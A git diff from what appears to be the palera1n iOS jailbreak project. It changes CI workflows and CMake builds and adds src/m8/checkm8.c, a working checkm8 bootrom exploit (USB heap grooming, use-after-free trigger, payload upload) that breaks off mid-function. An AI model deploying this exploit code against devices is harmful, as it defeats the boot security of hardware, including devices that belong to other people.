diff --git a/.editorconfig b/.editorconfig index deda242..b9a68da 100644 --- a/.editorconfig +++ b/.editorconfig @@ -12,5 +12,7 @@ insert_final_newline = true indent_style = tab indent_size = 4 -[*] +[*.{yml,yaml}] +indent_style = space +indent_size = 2 diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 95997fc..c7cd9e7 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -3,98 +3,143 @@ name: "Build" on: workflow_dispatch: push: - branches: + branches: - koputer - main jobs: - build-linux: - runs-on: ubuntu-latest + build-pongo: + runs-on: macos-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v4 - - name: Install dependencies (apt) - run: | - sudo apt update - sudo apt install -y build-essential cmake autoconf automake libtool pkg-config + - name: Build + run: | + make - - name: Build - run: | - make palera1n WITH_STATIC=1 BUILD_TYPE=Release + - name: Prepare upload directory + run: | + mkdir upload + mv build/Pongo.bin upload/ + mv build/checkra1n-kpf-pongo upload/ - - name: Upload - uses: actions/upload-artifact@v4 - with: - name: palera1n-linux - path: | - build/palera1n + - name: Upload + uses: actions/upload-artifact@v4 + with: + name: pongo + path: | + upload/* + + build-linux: + runs-on: ubuntu-latest + needs: build-pongo + + steps: + - uses: actions/checkout@v4 + + - name: Download Pongo + uses: actions/download-artifact@v4 + with: + name: pongo + path: payloads/ + + - name: Install dependencies (apt) + run: | + sudo apt update + sudo apt install -y build-essential cmake autoconf automake libtool pkg-config + + - name: Build + run: | + make palera1n WITH_STATIC=1 BUILD_TYPE=Release + + - name: Upload + uses: actions/upload-artifact@v4 + with: + name: palera1n-linux + path: | + build/palera1n build-macos: runs-on: ${{ matrix.os }} + needs: build-pongo + strategy: matrix: include: - - os: macos-latest - arch: arm64 - - os: macos-15-intel - arch: x86_64 + - os: macos-latest + arch: arm64 + - os: macos-15-intel + arch: x86_64 steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v4 - - name: Install dependencies (brew) - run: | - brew update - brew install cmake autoconf automake libtool pkg-config + - name: Download Pongo + uses: actions/download-artifact@v4 + with: + name: pongo + path: payloads/ - - name: Build - run: | - make palera1n WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release - cd build && zip -r palera1n-macos-${{ matrix.arch }}.zip palera1n.app + - name: Install dependencies (brew) + run: | + brew update + brew install cmake autoconf automake libtool pkg-config - - name: Upload - uses: actions/upload-artifact@v4 - with: - name: palera1n-macos-${{ matrix.arch }} - path: | - build/palera1n-macos-${{ matrix.arch }}.zip + - name: Build + run: | + make palera1n WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release + cd build && zip -r palera1n-macos-${{ matrix.arch }}.zip palera1n.app + + - name: Upload + uses: actions/upload-artifact@v4 + with: + name: palera1n-macos-${{ matrix.arch }} + path: | + build/palera1n-macos-${{ matrix.arch }}.zip build-windows: runs-on: windows-latest + needs: build-pongo steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v4 - - name: Set up MSYS2 - uses: msys2/setup-msys2@v2 - with: - msystem: MINGW64 - install: > - git - mingw-w64-x86_64-toolchain - mingw-w64-x86_64-cmake - libtool - openssl - openssl-devel - python-devel - autoconf - automake - zip - vim - make - patch - update: true + - name: Download Pongo + uses: actions/download-artifact@v4 + with: + name: pongo + path: payloads/ - - name: Build - shell: msys2 {0} - run: | - make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release + - name: Set up MSYS2 + uses: msys2/setup-msys2@v2 + with: + msystem: MINGW64 + install: > + git + mingw-w64-x86_64-toolchain + mingw-w64-x86_64-cmake + libtool + openssl + openssl-devel + python-devel + autoconf + automake + zip + vim + make + patch + update: true - - name: Upload - uses: actions/upload-artifact@v4 - with: - name: palera1n-windows-x86_64 - path: | - build/*.exe - build/*.dll + - name: Build + shell: msys2 {0} + run: | + make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release + + - name: Upload + uses: actions/upload-artifact@v4 + with: + name: palera1n-windows-x86_64 + path: | + build/*.exe + build/*.dll diff --git a/CMakeLists.txt b/CMakeLists.txt index 9ac8237..531fa3a 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -57,6 +57,23 @@ FetchContent_Declare( FetchContent_MakeAvailable(nlohmann_json) +# ========================= +# LZ4 +# ========================= + +include(FetchContent) + +set(LZ4_BUILD_CLI OFF CACHE BOOL "" FORCE) + +FetchContent_Declare( + lz4 + GIT_REPOSITORY https://github.com/lz4/lz4.git + GIT_TAG v1.10.0 + SOURCE_SUBDIR build/cmake +) + +FetchContent_MakeAvailable(lz4) + # ========================= # SOURCES # ========================= @@ -117,348 +134,354 @@ if(WITH_GUI) endif() target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json) +target_link_libraries(palera1n PRIVATE lz4_static) + # ========================= # libimobiledevice # ========================= -if(WITH_GUI) - if(WITH_STATIC) - include(ExternalProject) - find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config) +if(WITH_STATIC) + include(ExternalProject) - set(PKG_ENV - env - PKG_CONFIG=${PKG_CONFIG_EXECUTABLE} - PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig - PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig - PKG_CONFIG_PATH_CUSTOM=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig + find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config) - CPPFLAGS=-I${DEPS_PREFIX}/include - LDFLAGS=-L${DEPS_PREFIX}/lib + set(PKG_ENV + env + PKG_CONFIG=${PKG_CONFIG_EXECUTABLE} + PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig + PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig + PKG_CONFIG_PATH_CUSTOM=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig - C_INCLUDE_PATH=${DEPS_PREFIX}/include - CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include + CPPFLAGS=-I${DEPS_PREFIX}/include + LDFLAGS=-L${DEPS_PREFIX}/lib - mbedtls_INCLUDES=${DEPS_PREFIX}/include - mbedtls_LIBDIR=${DEPS_PREFIX}/lib - mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto + C_INCLUDE_PATH=${DEPS_PREFIX}/include + CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include + + mbedtls_INCLUDES=${DEPS_PREFIX}/include + mbedtls_LIBDIR=${DEPS_PREFIX}/lib + mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto + ) + + if(MINGW OR MSYS) + set(IMD_AUTOTOOLS_ARGS + --disable-static + --enable-shared ) - - if(MINGW OR MSYS) - set(IMD_AUTOTOOLS_ARGS - --disable-static - --enable-shared - ) - else() - set(IMD_AUTOTOOLS_ARGS - --enable-static - --disable-shared - ) - set(MBEDUTILS_ARGS - --with-mbedtls - ) - endif() - - if(NOT MINGW AND NOT MSYS) - # ========================= - # mbedTLS - # ========================= - ExternalProject_Add(mbedtls_ep - GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git - GIT_TAG mbedtls-3.5.2 - UPDATE_COMMAND "" - - PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch - - CMAKE_ARGS - -DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX} - -DENABLE_TESTING=OFF - -DENABLE_PROGRAMS=OFF - -DBUILD_SHARED_LIBS=OFF - - INSTALL_DIR ${DEPS_PREFIX} - ) - endif() - - if(LINUX OR MINGW OR MSYS) - # ========================= - # libusb - # ========================= - ExternalProject_Add(libusb_ep - GIT_REPOSITORY https://github.com/libusb/libusb.git - GIT_TAG v1.0.27 - UPDATE_COMMAND "" - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - --disable-udev - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - ) - endif() - - # ========================= - # libplist - # ========================= - ExternalProject_Add(libplist_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git - GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136 - UPDATE_COMMAND "" - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - ${IMD_AUTOTOOLS_ARGS} - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - ) - - # ========================= - # libimobiledevice-glue - # ========================= - ExternalProject_Add(limd_glue_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git - GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094 - UPDATE_COMMAND "" - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - ${IMD_AUTOTOOLS_ARGS} - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - - DEPENDS libplist_ep - ) - - # ========================= - # libusbmuxd - # ========================= - ExternalProject_Add(libusbmuxd_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git - GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc - UPDATE_COMMAND "" - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - ${IMD_AUTOTOOLS_ARGS} - --without-systemd - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - - DEPENDS libplist_ep limd_glue_ep - ) - - # ========================= - # libimobiledevice - # ========================= - - set(LIBIMOBILEDEVICE_DEPS - libplist_ep - libusbmuxd_ep - limd_glue_ep - ) - - if(NOT MINGW AND NOT MSYS) - list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep) - endif() - - if(LINUX OR MINGW OR MSYS) - list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep) - endif() - - ExternalProject_Add(libimobiledevice_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git - GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7 - UPDATE_COMMAND "" - - PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - ${MBEDUTILS_ARGS} - ${IMD_AUTOTOOLS_ARGS} - --disable-wireless-pairing - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - - DEPENDS ${LIBIMOBILEDEVICE_DEPS} - ) - - file(WRITE - ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake - " - file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\") - ") - - ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile - COMMAND ${CMAKE_COMMAND} -P ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake - DEPENDEES configure - DEPENDERS build - ) - - # ========================= - # libirecovery - # ========================= - ExternalProject_Add(libirecovery_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git - GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1 - UPDATE_COMMAND "" - - CONFIGURE_COMMAND - ${PKG_ENV} - sh - -l - ./autogen.sh - --prefix=${DEPS_PREFIX} - ${IMD_AUTOTOOLS_ARGS} - - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - - DEPENDS libplist_ep libusbmuxd_ep limd_glue_ep - ) - - add_dependencies(palera1n - libplist_ep - limd_glue_ep - libusbmuxd_ep - libimobiledevice_ep - libirecovery_ep - ) - - if(NOT MINGW AND NOT MSYS) - add_dependencies(palera1n mbedtls_ep) - endif() - - target_include_directories(palera1n PRIVATE - ${DEPS_PREFIX}/include - ) - - if(APPLE) - find_library(IOKIT IOKit) - find_library(COREFOUNDATION CoreFoundation) - find_library(SECURITY Security) - - target_link_libraries(palera1n PRIVATE - ${IOKIT} - ${COREFOUNDATION} - ${SECURITY} - ) - endif() - - if(MINGW OR MSYS) - target_link_libraries(palera1n PRIVATE - imobiledevice-1.0 - irecovery-1.0 - usbmuxd-2.0 - plist-2.0 - imobiledevice-glue-1.0 - usb-1.0 - ) - - set(DLLS - libcrypto-3-x64.dll - libssl-3-x64.dll - libstdc++-6.dll - libgcc_s_seh-1.dll - libwinpthread-1.dll - libimobiledevice-1.0.dll - libimobiledevice-glue-1.0.dll - libirecovery-1.0.dll - libplist-2.0.dll - libusbmuxd-2.0.dll - libusb-1.0.dll - ) - - execute_process( - COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin" - OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN - OUTPUT_STRIP_TRAILING_WHITESPACE - ) - - foreach(DLL ${DLLS}) - add_custom_command(TARGET palera1n POST_BUILD - COMMAND ${CMAKE_COMMAND} -E copy_if_different - "${MSYSTEM_PREFIX_WIN}/${DLL}" - $ - ) - endforeach() - else() - target_link_libraries(palera1n PRIVATE - ${DEPS_PREFIX}/lib/libimobiledevice-1.0.a - ${DEPS_PREFIX}/lib/libirecovery-1.0.a - ${DEPS_PREFIX}/lib/libusbmuxd-2.0.a - ${DEPS_PREFIX}/lib/libplist-2.0.a - ${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a - ${DEPS_PREFIX}/lib/libmbedtls.a - ${DEPS_PREFIX}/lib/libmbedx509.a - ${DEPS_PREFIX}/lib/libmbedcrypto.a - ) - - if(LINUX) - target_link_libraries(palera1n PRIVATE - ${DEPS_PREFIX}/lib/libusb-1.0.a - ) - endif() - endif() else() - find_package(PkgConfig REQUIRED) - - pkg_check_modules(IMD REQUIRED libimobiledevice-1.0) - pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0) - pkg_check_modules(PLIST REQUIRED libplist-2.0) - pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0) - - target_include_directories(palera1n PRIVATE - ${IMD_INCLUDE_DIRS} - ${IRECOVERY_INCLUDE_DIRS} - ${PLIST_INCLUDE_DIRS} - ${USBMUXD_INCLUDE_DIRS} + set(IMD_AUTOTOOLS_ARGS + --enable-static + --disable-shared ) - - target_link_libraries(palera1n PRIVATE - ${IMD_LIBRARIES} - ${IRECOVERY_LIBRARIES} - ${PLIST_LIBRARIES} - ${USBMUXD_LIBRARIES} - ) - - target_compile_options(palera1n PRIVATE - ${IMD_CFLAGS_OTHER} - ${IRECOVERY_CFLAGS_OTHER} - ${PLIST_CFLAGS_OTHER} - ${USBMUXD_CFLAGS_OTHER} + set(MBEDUTILS_ARGS + --with-mbedtls ) endif() + + if(NOT MINGW AND NOT MSYS) + # ========================= + # mbedTLS + # ========================= + ExternalProject_Add(mbedtls_ep + GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git + GIT_TAG mbedtls-3.5.2 + UPDATE_COMMAND "" + + PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch + + CMAKE_ARGS + -DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX} + -DENABLE_TESTING=OFF + -DENABLE_PROGRAMS=OFF + -DBUILD_SHARED_LIBS=OFF + + INSTALL_DIR ${DEPS_PREFIX} + ) + endif() + + if(LINUX OR MINGW OR MSYS) + # ========================= + # libusb + # ========================= + ExternalProject_Add(libusb_ep + GIT_REPOSITORY https://github.com/libusb/libusb.git + GIT_TAG v1.0.27 + UPDATE_COMMAND "" + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + --disable-udev + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + ) + endif() + + # ========================= + # libplist + # ========================= + ExternalProject_Add(libplist_ep + GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git + GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136 + UPDATE_COMMAND "" + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + ${IMD_AUTOTOOLS_ARGS} + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + ) + + # ========================= + # libimobiledevice-glue + # ========================= + ExternalProject_Add(limd_glue_ep + GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git + GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094 + UPDATE_COMMAND "" + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + ${IMD_AUTOTOOLS_ARGS} + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + + DEPENDS libplist_ep + ) + + # ========================= + # libusbmuxd + # ========================= + ExternalProject_Add(libusbmuxd_ep + GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git + GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc + UPDATE_COMMAND "" + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + ${IMD_AUTOTOOLS_ARGS} + --without-systemd + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + + DEPENDS libplist_ep limd_glue_ep + ) + + # ========================= + # libimobiledevice + # ========================= + + set(LIBIMOBILEDEVICE_DEPS + libplist_ep + libusbmuxd_ep + limd_glue_ep + ) + + if(NOT MINGW AND NOT MSYS) + list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep) + endif() + + if(LINUX OR MINGW OR MSYS) + list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep) + endif() + + ExternalProject_Add(libimobiledevice_ep + GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git + GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7 + UPDATE_COMMAND "" + + PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + ${MBEDUTILS_ARGS} + ${IMD_AUTOTOOLS_ARGS} + --disable-wireless-pairing + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + + DEPENDS ${LIBIMOBILEDEVICE_DEPS} + ) + + file(WRITE + ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake + " + file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\") + ") + + ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile + COMMAND ${CMAKE_COMMAND} -P ${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake + DEPENDEES configure + DEPENDERS build + ) + + # ========================= + # libirecovery + # ========================= + ExternalProject_Add(libirecovery_ep + GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git + GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1 + UPDATE_COMMAND "" + + CONFIGURE_COMMAND + ${PKG_ENV} + sh + -l + ./autogen.sh + --prefix=${DEPS_PREFIX} + ${IMD_AUTOTOOLS_ARGS} + + BUILD_COMMAND make -j + INSTALL_COMMAND make install + BUILD_IN_SOURCE 1 + + DEPENDS libplist_ep libusbmuxd_ep limd_glue_ep + ) + + add_dependencies(palera1n + libplist_ep + limd_glue_ep + libusbmuxd_ep + libimobiledevice_ep + libirecovery_ep + ) + + if(NOT MINGW AND NOT MSYS) + add_dependencies(palera1n mbedtls_ep) + endif() + + target_include_directories(palera1n PRIVATE + ${DEPS_PREFIX}/include + ) + + if(APPLE) + find_library(IOKIT IOKit) + find_library(COREFOUNDATION CoreFoundation) + find_library(SECURITY Security) + + target_link_libraries(palera1n PRIVATE + ${IOKIT} + ${COREFOUNDATION} + ${SECURITY} + ) + endif() + + if(MINGW OR MSYS) + target_link_libraries(palera1n PRIVATE + imobiledevice-1.0 + irecovery-1.0 + usbmuxd-2.0 + plist-2.0 + imobiledevice-glue-1.0 + usb-1.0 + ) + + set(DLLS + libcrypto-3-x64.dll + libssl-3-x64.dll + libstdc++-6.dll + libgcc_s_seh-1.dll + libwinpthread-1.dll + libimobiledevice-1.0.dll + libimobiledevice-glue-1.0.dll + libirecovery-1.0.dll + libplist-2.0.dll + libusbmuxd-2.0.dll + libusb-1.0.dll + ) + + execute_process( + COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin" + OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN + OUTPUT_STRIP_TRAILING_WHITESPACE + ) + + foreach(DLL ${DLLS}) + add_custom_command(TARGET palera1n POST_BUILD + COMMAND ${CMAKE_COMMAND} -E copy_if_different + "${MSYSTEM_PREFIX_WIN}/${DLL}" + $ + ) + endforeach() + else() + target_link_libraries(palera1n PRIVATE + ${DEPS_PREFIX}/lib/libimobiledevice-1.0.a + ${DEPS_PREFIX}/lib/libirecovery-1.0.a + ${DEPS_PREFIX}/lib/libusbmuxd-2.0.a + ${DEPS_PREFIX}/lib/libplist-2.0.a + ${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a + ${DEPS_PREFIX}/lib/libmbedtls.a + ${DEPS_PREFIX}/lib/libmbedx509.a + ${DEPS_PREFIX}/lib/libmbedcrypto.a + ) + + if(LINUX) + target_link_libraries(palera1n PRIVATE + ${DEPS_PREFIX}/lib/libusb-1.0.a + ) + endif() + endif() +else() + find_package(PkgConfig REQUIRED) + + pkg_check_modules(IMD REQUIRED libimobiledevice-1.0) + pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0) + pkg_check_modules(PLIST REQUIRED libplist-2.0) + pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0) + pkg_check_modules(LIBUSB REQUIRED libusb-1.0) + + target_include_directories(palera1n PRIVATE + ${IMD_INCLUDE_DIRS} + ${IRECOVERY_INCLUDE_DIRS} + ${PLIST_INCLUDE_DIRS} + ${USBMUXD_INCLUDE_DIRS} + ${LIBUSB_INCLUDE_DIRS} + ) + + target_link_libraries(palera1n PRIVATE + ${IMD_LIBRARIES} + ${IRECOVERY_LIBRARIES} + ${PLIST_LIBRARIES} + ${USBMUXD_LIBRARIES} + ${LIBUSB_LIBRARIES} + ) + + target_compile_options(palera1n PRIVATE + ${IMD_CFLAGS_OTHER} + ${IRECOVERY_CFLAGS_OTHER} + ${PLIST_CFLAGS_OTHER} + ${USBMUXD_CFLAGS_OTHER} + ${LIBUSB_CFLAGS_OTHER} + ) endif() + diff --git a/src/m8/checkm8.c b/src/m8/checkm8.c new file mode 100644 index 0000000..a3d7cb0 --- /dev/null +++ b/src/m8/checkm8.c @@ -0,0 +1,199 @@ +#include "checkm8.h" + +#include + +#include "../utils/log.h" + +#ifndef __APPLE__ +# include "usb-libusb.h" +#endif +#include "dfu.h" +#include "payload.h" + +// Start a new DFU transfer or continue an existing one +// Once finished, DFU will be ready for checkm8 +bool checkm8_reset(usb_handle_t *handle) { + transfer_ret_t transferRet; + + // Send zero-length packet to end existing transfer + bool ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, &transferRet); + if (!ret) { goto fail; } + if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != DFU_FILE_SUFFIX_LENGTH) { return false; } + + // Requests image validation like we are about to boot it + ret = dfu_device_set_await_reset(handle); + if (!ret) { goto fail; } + + // Start a new DFU transfer + ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, &transferRet); + if (!ret) { goto fail; } + if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != EP0_MAX_PACKET_SIZE) { goto fail; } + + // Ready for checkm8 + return true; + +fail: + // DFU abort on failure + send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); + LOG("Failed to reset device."); + return false; +} + +bool checkm8_stall(usb_handle_t *handle) { + int usbAbortTimeout = 10; + transfer_ret_t transferRet; + while (send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0xC0, usbAbortTimeout, &transferRet)) { + if (transferRet.sz < 0xC0 + && send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0x40, 1, &transferRet) + && transferRet.sz == 0) { + LOG("Stalled device."); + return true; + } + usbAbortTimeout = (usbAbortTimeout + 1) % 10; + } + LOG("Failed to stall device!"); + return false; +} + +bool checkm8_usb_request_stall(usb_handle_t *handle) { + return send_usb_control_request_no_data(handle, 0x2, DFU_GETSTATUS, 0, 0x80, 0, NULL); +} + +bool checkm8_send_leaking_zlp(usb_handle_t *handle) { + return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0x40, NULL); +} + +bool checkm8_send_normal_zlp(usb_handle_t *handle) { + return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0xC1, NULL); +} + +bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config) { + if (config->largeLeak == 0) { + if (config->cpid >= 0x7000 && config->cpid <= 0x8003 && config->cpid != 0x8001) { + while (!checkm8_usb_request_stall(handle) || !checkm8_send_leaking_zlp(handle) || !checkm8_send_normal_zlp(handle)) { } + } else { + // Stall endpoint (and leak a packet) + if (!checkm8_stall(handle)) { return false; } + + // Send enough packets to fill the hole + LOG( "Sending %d normal ZLPs.", config->hole); + for (int i = 0; i < config->hole; i++) { + if (!checkm8_send_normal_zlp(handle)) { return false; } + } + + // Add another leaking packet the end of the hole + if (!checkm8_send_leaking_zlp(handle)) { return false; } + + // Make sure the conditions are correct + // So that the packets are actually leaked + // (latest wLength > queued packet wLength) + if (!checkm8_send_normal_zlp(handle)) { return false; } + } + } else { // Unused as we don't have A7/A6 support yet + + // All packets are leaked - fill out the heap + // such that there is a hole at the end for the IO buffer + for (int i = 0; i < config->largeLeak; i++) { + checkm8_usb_request_stall(handle); + } + + // Abort DFU and leak the packets + send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); + } + return true; +} + +bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config) { + unsigned usbAbortTimeout = USB_TIMEOUT; + transfer_ret_t transferRet; + + // Keep asynchonously sending packets until we get a stall (which is actually the data not being sent) + while (send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SIZE, usbAbortTimeout, &transferRet)) { + // Overwrite padding to ensure we overwrite the correct data + if (transferRet.sz < config->overwritePadding + && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config->overwritePadding - transferRet.sz, &transferRet) + && transferRet.ret == USB_TRANSFER_STALL) { + + // DFU abort and trigger the UaF + send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); + return true; + } + + // If we don't get a stall, something went wrong + if (!send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, NULL)) { + break; + } + + usbAbortTimeout = (usbAbortTimeout + 1) % 10; + } + return false; +} + +#ifndef MIN +# define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { + size_t overwriteSize = 0; + size_t payloadSize = 0; + + uint8_t *overwrite = create_pongo_overwrite_for_device(payloadConfig, &overwriteSize); + uint8_t *payload = create_pongo_payload_for_device(deviceConfig, &payloadSize); + + if (!overwrite || overwriteSize == 0) { + LOG("Failed to generate overwrite!"); + goto cleanup; + } + + if (!payload || payloadSize == 0) { + LOG( "Failed to generate payload!"); + goto cleanup; + } + + transfer_ret_t transferRet; + + // Why is this needed? + if (deviceConfig->cpid >= 0x8001 && deviceConfig->cpid <= 0x8015 && deviceConfig->cpid != 0x8003) { + if (!checkm8_usb_request_stall(handle)) { goto cleanup; } + if (!checkm8_send_leaking_zlp(handle)) { goto cleanup; } + } + send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL); + send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL); + + // Send overwrite and make sure the endpoint is still stalled + if (send_usb_control_request(handle, 0, 0, 0, 0, overwrite, overwriteSize, &transferRet) + && transferRet.ret == USB_TRANSFER_STALL) { + // Reset the global state so we can send our payload? + bool ret = true; + size_t packetSize = 0; + + for (int i = 0; ret && i < payloadSize; i += packetSize) { + packetSize = MIN(payloadSize - i, DFU_MAX_TRANSFER_SIZE); + LOG( "Sending payload chunk of size 0x%x.", packetSize); + // Send payload chunk + ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &payload[i], packetSize, NULL); + } + + if (ret) { + // T8011 is fragile... + if (deviceConfig->cpid != 0x8011) { + send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, NULL); + send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL); + } + } else { + 